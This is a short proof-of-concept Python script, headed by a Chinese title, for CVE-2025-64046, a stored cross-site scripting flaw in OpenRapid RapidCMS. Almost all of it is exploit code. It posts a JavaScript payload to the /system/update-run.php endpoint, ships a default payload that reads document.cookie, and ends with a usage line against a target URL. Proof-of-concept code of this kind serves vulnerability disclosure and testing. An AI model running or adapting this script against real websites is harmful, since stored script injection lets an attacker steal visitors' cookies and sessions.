CVE-2025-64046 OpenRapid RapidCMS跨站脚本漏洞

import requests import argparse # CVE-2025-64046 PoC - OpenRapid RapidCMS XSS in /system/update-run.php # This PoC demonstrates how to inject malicious JavaScript via the update-run endpoint def exploit_xss(target_url, payload): """ Exploit stored XSS vulnerability in OpenRapid RapidCMS Args: target_url: Base URL of the vulnerable RapidCMS installation payload: Malicious JavaScript payload to inject """ # Construct the vulnerable endpoint endpoint = f"{target_url.rstrip('/')}/system/update-run.php" # Prepare the malicious data with XSS payload data = { 'update_field': payload, # Inject XSS payload 'action': 'update' } try: # Send POST request to inject the XSS payload response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully to {endpoint}") print(f"[+] Payload: {payload}") print("[*] The XSS payload is now stored and will execute when the page is accessed") return True else: print(f"[-] Failed to send payload. Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-64046 XSS PoC') parser.add_argument('-u', '--url', required=True, help='Target RapidCMS URL') parser.add_argument('-p', '--payload', default='<script>alert(document.cookie)</script>', help='XSS payload') args = parser.parse_args() exploit_xss(args.url, args.payload) # Usage: python cve-2025-64046.py -u http://target.com/rapidcms -p '<img src=x onerror=alert(1)>'